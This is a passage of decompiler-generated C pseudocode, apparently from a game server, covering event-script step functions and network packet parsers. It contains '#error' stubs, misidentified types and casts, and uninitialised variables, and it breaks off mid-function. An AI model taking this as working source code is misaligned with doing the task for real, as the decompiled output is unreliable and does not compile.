PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::NPCChatNoFacecut *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9CE0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_scalar_deleting_destructor_(PineEventScriptNode::ScinarioCodeParty *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9D00) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::HasAbstate *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::HasAbstate::_HasAbstate(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9D20) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::BroadcastCode *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::BroadcastCode::_BroadcastCode(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9D40) -------------------------------------------------------- void __thiscall PineEventScriptNode::BroadcastCode::_BroadcastCode(PineEventScriptNode::BroadcastCode *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5B30AC: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__BroadcastCode____vftable_)(int tr); //----- (004B9D50) -------------------------------------------------------- void *__thiscall PineEventScriptNode::GTRegisterNPC::_scalar_deleting_destructor_(PineEventScriptNode::GTRegisterNPC *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9D70) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::GTMobRegenKey *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004B9D90) -------------------------------------------------------- void __thiscall AxialListObjectCollector::AxialListObjectCollector(AxialListObjectCollector *this, NPCManager::LinkInformTemplete *lnkinf, unsigned int gld) { AxialListObjectCollector *v3; // esi@1 v3 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v3->aloc_LinkInform = lnkinf; v3->aloc_GuildRegNum = gld; v3->aloc_Compare = (char (__thiscall *)(AxialListObjectCollector *, #331 *))(gld != 0 ? (int)AxialListObjectCollector::ala_CompareGuild : 0); v3->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; } // 5B300C: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004B9DC0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineObjectCollect::sa_Step(PineEventScriptNode::ShineObjectCollect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineObjectCollect *v4; // edi@1 PineScriptToken *v5; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v6; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v7; // eax@3 int v8; // eax@3 int v9; // eax@4 PineEventScriptNode::Express *v10; // ecx@4 int v11; // eax@4 int v12; // eax@5 PineEventScriptNode::Express *v13; // ecx@5 int v14; // eax@5 char *v15; // eax@7 Name3 *v16; // eax@7 Name3 *v17; // edi@7 char *v18; // eax@8 unsigned __int16 v19; // ax@8 const char *v20; // eax@9 char *v21; // eax@9 Movie::Theater *v22; // ecx@10 unsigned __int16 result; // ax@12 int v24; // [sp+Ch] [bp-3ACh]@3 int gld; // [sp+20h] [bp-398h]@7 FunctionEntarance _; // [sp+24h] [bp-394h]@1 int x; // [sp+28h] [bp-390h]@4 int y; // [sp+2Ch] [bp-38Ch]@5 AxialListObjectCollector alchat; // [sp+30h] [bp-388h]@10 char lnkinf; // [sp+40h] [bp-378h]@10 char v31; // [sp+54h] [bp-364h]@9 char v32; // [sp+60h] [bp-358h]@9 char v33; // [sp+75h] [bp-343h]@9 char v34; // [sp+81h] [bp-337h]@9 int v35; // [sp+96h] [bp-322h]@9 int v36; // [sp+9Ah] [bp-31Eh]@9 PineScriptToken tkn; // [sp+A8h] [bp-310h]@3 PineScriptToken map; // [sp+1A8h] [bp-210h]@1 PineScriptToken flag; // [sp+2A8h] [bp-110h]@1 unsigned int v40; // [sp+3A8h] [bp-10h]@12 int v41; // [sp+3B4h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineObjectCollect::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineObjectCollect::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v41 = 0; PineScriptToken::pst_Clear(&flag); LOBYTE(v41) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &flag, ps); PineScriptToken::pst_ToLower(v5); PineScriptToken::pst_Clear(&map); v6 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v41) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v6->sa_Calculate)(&map, ps) != 0 ) { PineScriptToken::pst_Clear(&tkn); v7 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v41) = 3; v8 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v7->sa_Calculate)(&tkn, ps); v24 = 0; if ( v8 != 0 && (v9 = PineScriptToken::pst_GetNumber(&tkn, 0), v10 = v4->baseclass_0.os_Express[2], x = v9, v11 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v24 = 0, v11 != 0) && (v12 = PineScriptToken::pst_GetNumber(&tkn, 0), v13 = v4->baseclass_0.os_Express[3], y = v12, v14 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v13->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v24 = 0, v14 != 0) ) { gld = PineScriptToken::pst_GetNumber(&tkn, 0); MoveManager::MoveManager((DiceTaiSai *)&map); v16 = (Name3 *)FieldOption::fo_GetFieldAttr(&::this, v15); v17 = v16; if ( v16 ) { v18 = NameString::operator__(&namestring, v16); v19 = MapDataBox::mdb_2mapid(&mapdatabox, v18); if ( MapDataBox::operator__(&mapdatabox, v19) ) { MoveManager::MoveManager((DiceTaiSai *)&map); strncpy(&v31, v20, 0xCu); v21 = NameString::operator__(&namestring, v17); strncpy(&v33, v21, 0xCu); v34 = 0; v32 = 0; v35 = x; v36 = y; if ( PineScriptToken::operator__(&flag, index_guild.pst_Buffer) ) { AxialListObjectCollector::AxialListObjectCollector(&alchat, (NPCManager::LinkInformTemplete *)&lnkinf, gld); v22 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v41) = 4; Movie::Theater::t_AllInMap(v22, &alchat.baseclass_0); LOBYTE(v41) = 3; alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alchat); } } } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v41) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v41) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v41) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); v41 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", v24); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v41) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v41) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v41) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v41 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v41) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v41) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v41 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); } __security_check_cookie(v40); return result; } // 5B300C: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004BA180) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004BA1D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptClear::sa_Step(PineEventScriptNode::ShineInterruptClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 int v8; // ecx@1 unsigned __int16 v9; // ax@1 unsigned __int16 v10; // si@1 ListIteratorDefault arg; // [sp+8h] [bp-14h]@1 int v13; // [sp+Ch] [bp-10h]@1 int v14; // [sp+18h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptClear::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptClear::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &stru_59CBB8); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "InterruptClear"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); v8 = *(_DWORD *)&ps->gap10114[4] + 66116; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v13 = v8; LOBYTE(v14) = 1; List::l_4AllInList((List *)v8, &arg); LOBYTE(v14) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v9 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v10 = v9; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptClear::sa_Step"); return v10; } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004BA2F0) -------------------------------------------------------- #error "4BA2F0: undefined or illegal type '#592' (funcsize=367)" //----- (004BA870) -------------------------------------------------------- #error "4BA870: undefined or illegal type '#331' (funcsize=168)" //----- (004BAB10) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineDoorBuild::sa_Step(PineEventScriptNode::ShineDoorBuild *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #331 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 unsigned __int16 mobhnd; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = "PineEventScriptNode::ShineDoorBuild::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineDoorBuild::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineDoorBuild::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineDoorBuild : "); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 7u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectRegen(v4, exechandle, ps, ip, v8, mobhnd, 0) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 23); v9 = ps; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineDoorBuild::sa_Step : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineDoorBuild::sa_Step"); return v11; } //----- (004BAC40) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineNPCStand::sa_Step(PineEventScriptNode::ShineNPCStand *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #331 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 unsigned __int16 mobhnd; // [sp+10h] [bp-14h]@1 FunctionEntarance _; // [sp+14h] [bp-10h]@1 int v15; // [sp+20h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = (char *)&stru_5B61E8.maa_TargetSelect.targetlist.baseclass_0.l_Finger; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B61E8.maa_TargetSelect.targetlist.baseclass_0.l_Finger); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B61E8.maa_TargetSelect.targetlist.baseclass_0.l_Finger; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_59CBB8); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5B61E8); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, &mobhnd, 4u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectRegen(v4, exechandle, ps, ip, v8, mobhnd, 0) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 24); v9 = ps; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineNPCStand::sa_Step : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5B61E8.maa_TargetSelect.targetlist.baseclass_0.l_Finger); return v11; } //----- (004BAD70) -------------------------------------------------------- #error "4BAD70: undefined or illegal type '#592' (funcsize=183)" //----- (004BB030) -------------------------------------------------------- #error "4BB030: undefined or illegal type '#592' (funcsize=221)" //----- (004BB350) -------------------------------------------------------- #error "4BB350: undefined or illegal type '#592' (funcsize=137)" //----- (004BB580) -------------------------------------------------------- #error "4BB580: undefined or illegal type '#331' (funcsize=189)" //----- (004BB830) -------------------------------------------------------- #error "4BB830: undefined or illegal type '#331' (funcsize=134)" //----- (004BBA50) -------------------------------------------------------- #error "4BBA50: undefined or illegal type '#331' (funcsize=186)" //----- (004BBD30) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::SaveLinkto::sa_Step(PineEventScriptNode::SaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::SaveLinkto *v4; // edi@1 const char *v5; // eax@5 const char *v6; // eax@7 Movie::Theater *v7; // ecx@9 void *v8; // eax@9 unsigned __int16 result; // ax@20 void *v10; // [sp-4h] [bp-1F8h]@13 int dwPosY; // [sp+10h] [bp-1E4h]@4 int dwPosX; // [sp+14h] [bp-1E0h]@3 FunctionEntarance _; // [sp+18h] [bp-1DCh]@1 char LinkClent; // [sp+1Ch] [bp-1D8h]@2 char *p; // [sp+20h] [bp-1D4h]@1 int v16; // [sp+30h] [bp-1C4h]@1 unsigned int v17; // [sp+34h] [bp-1C0h]@1 char LinkServer; // [sp+38h] [bp-1BCh]@1 char *v19; // [sp+3Ch] [bp-1B8h]@1 int v20; // [sp+4Ch] [bp-1A8h]@1 unsigned int v21; // [sp+50h] [bp-1A4h]@1 char LinkInfo; // [sp+54h] [bp-1A0h]@5 char v23; // [sp+68h] [bp-18Ch]@7 char v24; // [sp+89h] [bp-16Bh]@9 int v25; // [sp+AAh] [bp-14Ah]@9 int v26; // [sp+AEh] [bp-146h]@9 char v27; // [sp+B8h] [bp-13Ch]@5 PineEventScriptNode::ScriptParameterPaser paser; // [sp+BCh] [bp-138h]@1 unsigned int v29; // [sp+1E4h] [bp-10h]@20 int v30; // [sp+1F0h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "SaveLinkto::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SaveLinkto::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SaveLinkto::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(&paser, v4->baseclass_0.baseclass_0.os_Express, ps); LOBYTE(v30) = 1; PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(&paser, "SaveLinkto::sa_Step"); v21 = 15; v20 = 0; LOBYTE(v19) = 0; v17 = 15; v16 = 0; LOBYTE(p) = 0; LOBYTE(v30) = 3; if ( !PineEventScriptNode::ScriptParameterPaser::GetByString( &paser, 0, (std::basic_string,std::allocator > *)&LinkServer) || !PineEventScriptNode::ScriptParameterPaser::GetByString( &paser, 1, (std::basic_string,std::allocator > *)&LinkClent) ) { PineScriptStack::ProcessStack::ps_Pop(ps); if ( v17 >= 0x10 ) operator delete(p); v17 = 15; v16 = 0; LOBYTE(p) = 0; if ( v21 < 0x10 ) goto LABEL_19; v10 = v19; goto LABEL_18; } if ( !PineEventScriptNode::ScriptParameterPaser::GetByDWARD(&paser, 2, (unsigned int *)&dwPosX) || !PineEventScriptNode::ScriptParameterPaser::GetByDWARD(&paser, 3, (unsigned int *)&dwPosY) ) { PineScriptStack::ProcessStack::ps_Pop(ps); if ( v17 >= 0x10 ) operator delete(p); v17 = 15; v16 = 0; LOBYTE(p) = 0; if ( v21 < 0x10 ) goto LABEL_19; v10 = v19; LABEL_18: operator delete(v10); LABEL_19: v21 = 15; v20 = 0; LOBYTE(v19) = 0; goto LABEL_20; } memset(&LinkInfo, 0, 0x64u); v27 = 0; v5 = v19; if ( v21 < 0x10 ) v5 = (const char *)&v19; strncpy(&v23, v5, 0xCu); v6 = p; if ( v17 < 0x10 ) v6 = (const char *)&p; strncpy(&v24, v6, 0xCu); v7 = *(Movie::Theater **)&ps->gap10114[4]; v25 = dwPosX; v26 = dwPosY; v8 = (void *)Movie::Theater::GetFieldMap(v7); FieldMap::fm_SetSaveLinktoData(v8, &LinkInfo); PineScriptStack::ProcessStack::ps_Pop(ps); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)&LinkClent); std::basic_string_std::allocator>::_basic_string_std::allocator>((std::basic_string,std::allocator > *)&LinkServer); LABEL_20: LOBYTE(v30) = 0; PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(&paser); --funcallanalizer.fca_stackpoint; v30 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SaveLinkto::sa_Step"); __security_check_cookie(v29); return result; } //----- (004BBFE0) -------------------------------------------------------- #error "4BBFE0: undefined or illegal type '#592' (funcsize=172)" //----- (004BC270) -------------------------------------------------------- #error "4BC270: undefined or illegal type '#592' (funcsize=202)" //----- (004BC570) -------------------------------------------------------- #error "4BC570: undefined or illegal type '#592' (funcsize=187)" //----- (004BC870) -------------------------------------------------------- #error "4BC870: undefined or illegal type '#331' (funcsize=157)" //----- (004BCAB0) -------------------------------------------------------- void __thiscall PowedNumber::PowedNumber(PowedNumber *this, long double pow) { signed int v2; // esi@1 unsigned __int64 v3; // qax@2 signed int k; // [sp+0h] [bp-4h]@1 v2 = 0; k = 0; do { v3 = (unsigned __int64)pow((double)k, pow); ++v2; k = v2; *((double *)this + v2 - 1) = (double)(signed int)v3; } while ( v2 < 200 ); } //----- (004BCB00) -------------------------------------------------------- void __thiscall OPToolSession::zbs_Parsing(OPToolSession *this, #440 *a2, unsigned __int16 handle) { OPToolSession *v3; // esi@1 CPacketVtbl *v4; // edx@3 int v5; // esi@3 NETCOMMAND *v6; // edi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B678C.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_NextReserv); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B678C.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_NextReserv; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B678C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget, a2 == 0); v4 = v3->baseclass_0.m_Packet.vfptr; v5 = (int)&v3->baseclass_0.m_Packet; v6 = (NETCOMMAND *)v4->GetIDPtr((CPacket *)v5); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 20))(v5); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v6); optsprotofunc.pft_funcpnt[v6->protocol & 0x3FF][(unsigned int)v6->protocol >> 10]((OPToolSession *)&optoolsock, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5B678C.maa_MobActionStruct.inmove_cancelable.baseclass_0.maim_NextReserv); } //----- (004BCC00) -------------------------------------------------------- void __thiscall ZoneListenSession::zbs_Parsing(ZoneListenSession *this, #440 *a2, unsigned __int16 handle) { ZoneListenSession *v3; // esi@1 CPacketVtbl *v4; // edx@3 int v5; // esi@3 NETCOMMAND *v6; // edi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B678C.maa_MobActionStruct.wander); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B678C.maa_MobActionStruct.wander; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B678C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget, a2 == 0); v4 = v3->baseclass_0.m_Packet.vfptr; v5 = (int)&v3->baseclass_0.m_Packet; v6 = (NETCOMMAND *)v4->GetIDPtr((CPacket *)v5); (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 20))(v5); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v6); zlsprotofunc.pft_funcpnt[v6->protocol & 0x3FF][(unsigned int)v6->protocol >> 10](&zonelisten, v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)&stru_5B678C.maa_MobActionStruct.wander); } //----- (004BCD00) -------------------------------------------------------- void __thiscall ZoneConnectSession::zbs_Parsing(ZoneConnectSession *this, #440 *a2, unsigned __int16 handle) { ZoneConnectSession *v3; // edi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B678C.maa_MobActionStruct.swingdamage); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B678C.maa_MobActionStruct.swingdamage; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B678C.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget, a2 == 0); v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, &v3->baseclass_0); else AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B678C.maa_MobActionStruct.attack.baseclass_0.mant_Target, 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5B678C.maa_MobActionStruct.swingdamage); } //----- (004BCE10) -------------------------------------------------------- void __thiscall GameDBSession::zbs_Parsing(GameDBSession *this, #440 *a2, unsigned __int16 handle) { GameDBSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameDBSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameDBSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_5B678C.maa_MobActionStruct.action, a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); gdsprotofunc.pft_funcpnt[v4->protocol & 0x3FF][(unsigned int)v4->protocol >> 10](v3, v4, v5); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "GameDBSession::zbs_Parsing"); } //----- (004BCF00) -------------------------------------------------------- void __thiscall GameLogSession::zbs_Parsing(GameLogSession *this, #440 *a2, unsigned __int16 handle) { GameLogSession *v3; // ebx@1 NETCOMMAND *v4; // edi@3 int v5; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "GameLogSession::zbs_Parsing"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "GameLogSession::zbs_Parsing"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( a2 ) AssertClass::ac_AssertFail(&shineassert, "GameLogSession::zbs_Parsing : sp entry!!!", a2 == 0); v4 = (NETCOMMAND *)v3->baseclass_0.m_Packet.vfptr->GetIDPtr(&v3->baseclass_0.m_Packet); v5 = v3->baseclass_0.m_Packet.vfptr->GetDataSize(&v3->baseclass_0.m_Packet); FunctionCallingAnalyzer::fca_NetCommandStorage(&funcallanalizer, v4); 